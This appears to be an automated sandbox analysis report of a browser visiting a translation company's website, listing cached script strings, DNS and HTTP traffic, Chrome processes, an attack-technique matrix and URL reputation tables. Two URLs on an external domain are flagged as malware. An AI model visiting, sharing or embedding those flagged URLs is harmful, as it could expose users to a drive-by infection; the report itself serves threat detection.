e,t,p,u,l,a=document.getElementsByClassName("rll-youtube-player");for(t=0;t<a.length;t++)(e=document.createElement("div")),(u='https://i.ytimg.com/vi/ID/hqdefault.jpg'),(u=u.replace('ID',a[t].dataset.id)),(l=exclusions.some(exclusion=>u.includes(exclusion))),e.setAttribute("data-id",a[t].dataset.id),e.setAttribute("data-query",a[t].dataset.query),e.setAttribute("data-src",a[t].dataset.src),(e.innerHTML=lazyLoadThumb(a[t].dataset.id,a[t].dataset.alt,l)),a[t].appendChild(e),(p=e.querySelector(".play")),(p.onclick=lazyLoadYoutubeIframe)});</script> equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: new Set;this.deviceIsAudioOnly=!(u==null\|\|!u.deviceIsAudioOnly);this.iC=hi(this.iC,x.ismb);this.CL?(c=x.vss_host\|\|"s.youtube.com",c==="s.youtube.com"&&(c=NU(this.lK)\|\|"www.youtube.com")):c="video.google.com";this.hK=c;dz(this,x,!0);this.gm=new Fm;g.P(this,this.gm);p=u?u.innertubeApiKey:Xt("",x.innertube_api_key);R=u?u.innertubeApiVersion:Xt("",x.innertube_api_version);c=u?u.innertubeContextClientVersion:Xt("",x.innertube_context_client_version);p=g.xc("INNERTUBE_API_KEY")\|\|p;R=g.xc("INNERTUBE_API_VERSION")\|\| equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: r0.prototype.WI=function(){return this.s_.l()};var BOQ=(new Date).getTime();var gSY="://secure-...imrworldwide.com/ ://cdn.imrworldwide.com/ ://aksecure.imrworldwide.com/ ://[^.]*.moatads.com ://youtube[0-9]+.moatpixel.com ://pm.adsafeprotected.com/youtube ://pm.test-adsafeprotected.com/youtube ://e[0-9]+.yt.srs.doubleverify.com www.google.com/pagead/xsul www.youtube.com/pagead/slav".split(" "),kvG=/\bocr\b/;var m44=/(?:\[\|%5B)([a-zA-Z0-9_]+)(?:\]\|%5D)/g;var MOD=0,cRx=0,yR$=0;var wAD=Object.assign({},{attributes:{},handleError:function(x){throw x;}},{T5X:!0, equals www.youtube.com (Youtube)
Source: chromecache_308.5.dr	String found in binary or memory: return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var b=f.getFbeventsModules("signalsFBEventsGetTier"),c=d();function d(){try{if(a.trustedTypes&&a.trustedTypes.createPolicy){var b=a.trustedTypes;return b.createPolicy("facebook.com/signals/iwl",{createScriptURL:function(b){var c=typeof a.URL==="function"?a.URL:a.webkitURL;c=new c(b);c=c.hostname.endsWith(".facebook.com")&&c.pathname=="/signals/iwl.js";if(!c)throw new Error("Disallowed script URL");return b}})}}catch(a){}return null}e.exports=function(a,d){d=b(d);d=d==null?"www.facebook.com":"www."+d+".facebook.com";d="https://"+d+"/signals/iwl.js?pixel_id="+a;if(c!=null)return c.createScriptURL(d);else return d}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_308.5.dr	String found in binary or memory: return function(f,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=/^https:\/\/www\.([A-Za-z0-9\.]+)\.facebook\.com\/tr\/?$/,b=["https://www.facebook.com/tr","https://www.facebook.com/tr/"];e.exports=function(c){if(b.indexOf(c)!==-1)return null;var d=a.exec(c);if(d==null)throw new Error("Malformed tier: "+c);return d[1]}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_308.5.dr	String found in binary or memory: return function(f,g,h,i){var j={exports:{}};j.exports;(function(){"use strict";var a={ENDPOINT:"https://www.facebook.com/tr/",INSTAGRAM_TRIGGER_ATTRIBUTION:"https://www.instagram.com/tr/",AEM_ENDPOINT:"https://www.facebook.com/.well-known/aggregated-event-measurement/",GPS_ENDPOINT:"https://www.facebook.com/privacy_sandbox/pixel/register/trigger/",TOPICS_API_ENDPOINT:"https://www.facebook.com/privacy_sandbox/topics/registration/"};j.exports=a})();return j.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_262.5.dr, chromecache_237.5.dr, chromecache_269.5.dr	String found in binary or memory: return f}BG.K="internal.enableAutoEventOnTimer";var bc=wa(["data-gtm-yt-inspected-"]),DG=["www.youtube.com","www.youtube-nocookie.com"],EG,FG=!1; equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: this.x$.Ok&&(x.authuser=this.x$.Ok);this.x$.pageId&&(x.pageid=this.x$.pageId);isNaN(this.cryptoPeriodIndex)\|\|(x.cpi=this.cryptoPeriodIndex.toString());var m=(m=/_(TV\|STB\|GAME\|OTT\|ATV\|BDP)_/.exec(g.lZ()))?m[1]:"";m==="ATV"&&(x.cdt=m);this.N=x;this.N.session_id=U;this.U=!0;this.V.flavor==="widevine"&&(this.N.hdr="1");this.V.flavor==="playready"&&(u=Number(u8(u.experiments,"playready_first_play_expiration")),!isNaN(u)&&u>=0&&(this.N.mfpe=""+u),this.U=!1);u="";g.Nk(this.V)?PQ(this.V)?(U=k.V)&&(u="https://www.youtube.com/api/drm/fps?ek="+ equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: u.customBaseYoutubeUrl:x.BASE_YT_URL)\|\|"")\|\|Uf(this.AO)\|\|this.protocol+"://www.youtube.com/";f=u?u.eventLabel:x.el;U="detailpage";f==="adunit"?U=this.K?"embedded":"detailpage":f==="embedded"\|\|this.D?U=Vr(U,f,LtY):f&&(U="embedded");this.ut=U;lvY();f=null;U=u?u.playerStyle:x.ps;F=g.DG(D_Y,U);!U\|\|F&&!this.D\|\|(f=U);this.playerStyle=f;this.j=g.DG(D_Y,this.playerStyle);this.houseBrandUserStatus=u==null?void 0:u.houseBrandUserStatus;this.RS=this.j&&this.playerStyle!=="play"&&this.playerStyle!=="jamboard"; equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: u=this.api.X();x=this.api.getVideoData();var k="";u.J\|\|(u=g.AU(u),u.indexOf("www.")===0&&(u=u.substring(4)),k=g.mw(x)?"Watch on YouTube Music":u==="youtube.com"?"Watch on YouTube":g.tK("Watch on $WEBSITE",{WEBSITE:u}));this.updateValue("title",k)}; equals www.youtube.com (Youtube)
Source: chromecache_303.5.dr	String found in binary or memory: var scriptUrl = 'https:\/\/www.youtube.com\/s\/player\/7d1d50a6\/www-widgetapi.vflset\/www-widgetapi.js';window['yt_embedsEnableIframeApiSendFullEmbedUrl'] = true ;window['yt_embedsEnableAutoplayAndVisibilitySignals'] = true ;try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"}; equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: var zO={};var I0B={hV:[{F4:/Unable to load player module/,weight:20},{F4:/Failed to fetch/,weight:500},{F4:/XHR API fetch failed/,weight:10},{F4:/JSON parsing failed after XHR fetch/,weight:10},{F4:/Retrying OnePlatform request/,weight:10},{F4:/CSN Missing or undefined during playback association/,weight:100},{F4:/Non-recoverable error. Do not retry./,weight:0},{F4:/Internal Error. Retry with an exponential backoff./,weight:0},{F4:/API disabled by application./,weight:0}],w5:[{callback:pDt,weight:500}]};var lw4=/[&\?]action_proxy=1/,iUR=/[&\?]token=([\w-])/,nf5=/[&\?]video_id=([\w-])/,$G$=/[&\?]index=([\d-])/,rzY=/[&\?]m_pos_ms=([\d-])/,ZUQ=/[&\?]vvt=([\w-]*)/,yzx="ca_type dt el flash u_tz u_his u_h u_w u_ah u_aw u_cd u_nplug u_nmime frm u_java bc bih biw brdim vis wgl".split(" "),jDI="www.youtube-nocookie.com youtube-nocookie.com www.youtube-nocookie.com:443 youtube.googleapis.com www.youtubeedu.com www.youtubeeducation.com video.google.com redirector.gvt1.com".split(" "),EfY={android:"ANDROID", equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: x))):this.api.X().G("enable_adb_handling_in_sabr")&&k==="BROWSER_OR_EXTENSION_ERROR"&&!U.j?(U=U.hostLanguage,x="//support.google.com/youtube/answer/3037019#zippy=%2Cupdate-your-browser-and-check-your-extensions",U&&(x=g.AS(x,{hl:U})),this.sF(dj(this,"BROWSER_OR_EXTENSION_ERROR",x))):this.sF(g.PF(x.errorMessage)):this.sF(dj(this,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK_WITH_LINK_SHORT","//www.youtube.com/supported_browsers")):(x=U.hostLanguage,k="//support.google.com/youtube/?p=player_error1",x&&(k=g.AS(k, equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: x.details.rc!=="429"?x.errorCode==="ump.spsrejectfailure"&&(m="HTML5_SPS_UMP_STATUS_REJECTED"):(m="TOO_MANY_REQUESTS",F="6");this.v$.jj(x.errorCode,x.severity,m,n$(x.details),F)}else this.v$.publish("nonfatalerror",x),U=/^pp/.test(this.videoData.clientPlaybackNonce),this.fN(x.errorCode,x.details),U&&x.errorCode==="manifest.net.connect"&&(x="https://www.youtube.com/generate_204?cpn="+this.videoData.clientPlaybackNonce+"&t="+(0,g.j4)(),lg(x,"manifest",function(f){u.j=!0;u.A5("pathprobe",f)},function(f){u.fN(f.errorCode, equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: x_b=function(x,u){if(!x.S["0"]){var k=new L$("0","fakesb",{video:new vr(0,0,0,void 0,void 0,"auto")});x.S["0"]=u?new Ty(new g.zC("http://www.youtube.com/videoplayback"),k,"fake"):new Vh(new g.zC("http://www.youtube.com/videoplayback"),k,new nJ(0,0),new nJ(0,0))}}; equals www.youtube.com (Youtube)
Source: chromecache_287.5.dr	String found in binary or memory: y0.prototype.logTrace=function(x){this.encoder.reset();this.encoder.add(1);this.encoder.add(x.resources.length);for(var u=g.w(x.resources),k=u.next();!k.done;k=u.next()){k=k.value.replace("https://www.youtube.com/s/","");this.encoder.add(k.length);for(var U=0;U<k.length;U++)this.encoder.add(k.charCodeAt(U))}this.encoder.add(x.frames.length);u=g.w(x.frames);for(k=u.next();!k.done;k=u.next()){k=k.value;this.encoder.add(k.name.length);for(U=0;U<k.name.length;U++)this.encoder.add(k.name.charCodeAt(U)); equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.languagesim.com
Source: global traffic	DNS traffic detected: DNS query: js.hs-scripts.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: publication.garyjobeferguson.com
Source: global traffic	DNS traffic detected: DNS query: js.hs-analytics.net
Source: global traffic	DNS traffic detected: DNS query: js.hsadspixel.net
Source: global traffic	DNS traffic detected: DNS query: js.hscollectedforms.net
Source: global traffic	DNS traffic detected: DNS query: js.hs-banner.com
Source: global traffic	DNS traffic detected: DNS query: js.usemessages.com
Source: global traffic	DNS traffic detected: DNS query: forms.hscollectedforms.net
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: forms.hsforms.com
Source: global traffic	DNS traffic detected: DNS query: analytics.google.com
Source: global traffic	DNS traffic detected: DNS query: stats.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: api.hubapi.com
Source: global traffic	DNS traffic detected: DNS query: api.hubspot.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: app.hubspot.com
Source: global traffic	DNS traffic detected: DNS query: static.hsappstatic.net
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: i.ytimg.com
Source: global traffic	DNS traffic detected: DNS query: exceptions.hubspot.com
Source: global traffic	DNS traffic detected: DNS query: na1.hubspot-logos.com
Source: global traffic	DNS traffic detected: DNS query: static.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: yt3.ggpht.com
Source: global traffic	DNS traffic detected: DNS query: metrics-fe-na1.hubspot.com
Source: global traffic	DNS traffic detected: DNS query: track.hubspot.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 17 Mar 2025 17:17:49 GMTContent-Type: text/html; charset=UTF-8Content-Length: 180933Connection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTLink: <https://www.languagesim.com/wp-json/>; rel="https://api.w.org/"X-Powered-By: WP EngineX-Cacheable: non200Cache-Control: max-age=600, must-revalidateX-Cache: HIT: 2X-Cache-Group: normal
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 17 Mar 2025 17:18:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 17 Mar 2025 17:18:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 17 Mar 2025 17:18:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1940,i,18403942653290630653,755760624653718507,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2224 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1940,i,18403942653290630653,755760624653718507,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3848 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.languagesim.com/interpretationterms/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=1940,i,18403942653290630653,755760624653718507,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6476 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1940,i,18403942653290630653,755760624653718507,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2224 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1940,i,18403942653290630653,755760624653718507,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3848 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=1940,i,18403942653290630653,755760624653718507,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=6476 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	Path Interception	1 Process Injection	11 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
https://www.languagesim.com/wp-includes/js/dist/hooks.min.js?ver=4d63a3d491d11ffd8ac6	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.27.7	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/gravityforms/assets/js/dist/vendor-theme.min.js?ver=6	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/wp-rocket/assets/img/youtube.png)	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/uncanny-learndash-toolkit/src/assets/frontend/dist/bundle.min.js?ver=3.7.0.2	0%	Avira URL Cloud	safe
https://www.languagesim.com/translation-services-winnipeg/	0%	Avira URL Cloud	safe
https://translation.languagesim.com/	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/gravityforms/js/jquery.json.min.js?ver=2.9.4	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js?ver=1.2.1	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/sfwd-lms/src/assets/dist/css/admin-bar/styles.css?ver=4.20.1.1	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor/assets/css/widget-social-icons.min.css?ver=	0%	Avira URL Cloud	safe
https://publication.garyjobeferguson.com/NLFEB0+TJ25Qk341A4VoJUfYICUOgHM2BIN9NxiTNiUOkzFpQNkocRbM	100%	Avira URL Cloud	malware
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/css/widget-search-form.min.css?ver=3.27.7	0%	Avira URL Cloud	safe
https://www.languagesim.com/on-site-interpretation-services/	0%	Avira URL Cloud	safe
https://www.languagesim.com/#website	0%	Avira URL Cloud	safe
https://www.languagesim.com/languages/spanish-translation-services/	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/uploads/sass/a3_lazy_load.min.css?ver=1742231716	0%	Avira URL Cloud	safe
https://www.languagesim.com/employment-opportunities/	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/wp-rocket/assets/js/lazyload/17.8.3/lazyload.min.js	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/css/widget-nav-menu.min.css?ver=3.27.7	0%	Avira URL Cloud	safe
https://www.languagesim.com/translation-terms/	0%	Avira URL Cloud	safe
https://www.languagesim.com/lisa/	0%	Avira URL Cloud	safe
https://www.languagesim.com/referral-partners/	0%	Avira URL Cloud	safe
https://publication.garyjobeferguson.com/MewGhErOZe1Vzjy2BtgqpkKYY/QT1iToUIJi7V+LWeJYgGOmHc50pgvObPRLj2+mTA==	100%	Avira URL Cloud	malware
https://www.languagesim.com/medical-translation-services/	0%	Avira URL Cloud	safe
https://www.languagesim.com/languages/french-translation-services/	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/js/nav-menu.a23fbd67486c5bedf26c.bundle.min.js	0%	Avira URL Cloud	safe
https://www.languagesim.com/languages/indigenous-language-aboriginal-translation/	0%	Avira URL Cloud	safe
https://www.languagesim.com/education-translation-services/	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-includes/js/jquery/ui/core.min.js?ver=1.13.3	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/uploads/2023/05/background-Fallback-404.1.jpg	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/uploads/2021/12/logo-languages-in-motion.jpg	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor/assets/css/widget-icon-list.min.css?ver=3.27.7	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/css/modules/sticky.min.css?ver=3.27.7	0%	Avira URL Cloud	safe
https://www.languagesim.com/lim-academy/	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/sfwd-lms/themes/legacy/templates/learndash_lesson_video.min.css?ver=4.20.1.1	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/css/widget-nav-menu.min.css?ver=	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor/assets/css/widget-social-icons.min.css?ver=3.27.7	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/uncanny-learndash-toolkit/src/assets/frontend/dist/bu	0%	Avira URL Cloud	safe
https://www.languagesim.com/insurance-translations/	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/gravityforms/images/spinner.svg	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/css/modules/sticky.min.css?ver=3	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/uploads/elementor/css/post-107164.css?ver=1738057223	0%	Avira URL Cloud	safe
https://www.languagesim.com/interpreter-quality-assurance-form/	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/js/search-form.b7065999d77832a1b764.bundle.min.js	0%	Avira URL Cloud	safe
https://www.languagesim.com/our-team/	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/themes/growme/style.css?ver=6.7.1	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/sfwd-lms/assets/css/jquery.dropdown.min.css?ver=4.20.1.1	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/lib/sticky/jquery.sticky.min.js?	0%	Avira URL Cloud	safe
https://www.languagesim.com/lisa-app/	0%	Avira URL Cloud	safe
https://www.languagesim.com/video-translation-services/	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.27.7	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/a3-lazy-load/assets/js/jquery.lazyloadxt.extra.min.js?ver=2.7.3	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/sfwd-lms/themes/ld30/assets/js/learndash.js?ver=4.20.1.1	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/sfwd-lms/themes/legacy/templates/learndash_quiz_front.min.css?ver=4.20.1.1	0%	Avira URL Cloud	safe
https://www.languagesim.com/languages/arabic-translation-services/	0%	Avira URL Cloud	safe
https://git.hubteam.com/HubSpot/faast-ui/issues/248	0%	Avira URL Cloud	safe
https://www.languagesim.com/translation-services-hamilton/	0%	Avira URL Cloud	safe
https://www.languagesim.com/languages-in-motion-intranet/	0%	Avira URL Cloud	safe
https://legal.hubspot.com/privacy-policy	0%	Avira URL Cloud	safe
https://www.languagesim.com/wp-content/plugins/gravityforms/legacy/css/formsmain.min.css?ver=2.9.4	0%	Avira URL Cloud	safe
https://www.languagesim.com/certified-translators-edmonton/	0%	Avira URL Cloud	safe
https://www.languagesim.com/?s=	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
forms.hsforms.com	104.19.175.188	true	false	high
i.ytimg.com	216.58.206.86	true	false	high
beacons-handoff.gcp.gvt2.com	142.250.180.99	true	false	high
publication.garyjobeferguson.com	142.202.242.173	true	false	high
js.hs-analytics.net	104.17.175.201	true	false	high
stats.g.doubleclick.net	74.125.206.155	true	false	high
scontent.xx.fbcdn.net	157.240.0.6	true	false	high
na1.hubspot-logos.com	104.18.32.129	true	false	unknown
track.hubspot.com	104.16.118.116	true	false	high
code.jquery.com	151.101.2.137	true	false	high
forms.hscollectedforms.net	104.16.109.254	true	false	high
js.hs-scripts.com	104.16.137.209	true	false	high
photos-ugc.l.googleusercontent.com	142.250.185.193	true	false	high
www.google.com	142.250.186.164	true	false	high
js.usemessages.com	104.16.77.142	true	false	high
js.hs-banner.com	104.18.40.240	true	false	high
star-mini.c10r.facebook.com	157.240.252.35	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
static.hsappstatic.net	104.17.175.91	true	false	high
app.hubspot.com	104.16.117.116	true	false	high
metrics-fe-na1.hubspot.com	104.16.117.116	true	false	high
languagesim.wpengine.com	35.190.179.119	true	false	unknown
js.hsadspixel.net	104.17.128.172	true	false	high
exceptions.hubspot.com	104.16.118.116	true	false	high
static.doubleclick.net	142.250.185.102	true	false	high
api.hubspot.com	104.16.118.116	true	false	high
youtube-ui.l.google.com	216.58.212.174	true	false	high
googleads.g.doubleclick.net	142.250.185.162	true	false	high
api.hubapi.com	104.18.244.108	true	false	high
analytics.google.com	142.250.181.238	true	false	high
td.doubleclick.net	142.250.185.226	true	false	high
js.hscollectedforms.net	104.16.108.254	true	false	high
yt3.ggpht.com	unknown	unknown	false	high
www.languagesim.com	unknown	unknown	false	unknown
beacons.gcp.gvt2.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
connect.facebook.net	unknown	unknown	false	high

Name	Malicious	Antivirus Detection	Reputation
https://www.languagesim.com/wp-content/plugins/gravityforms/js/jquery.json.min.js?ver=2.9.4	false	Avira URL Cloud: safe	unknown
https://www.languagesim.com/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js?ver=1.2.1	false	Avira URL Cloud: safe	unknown
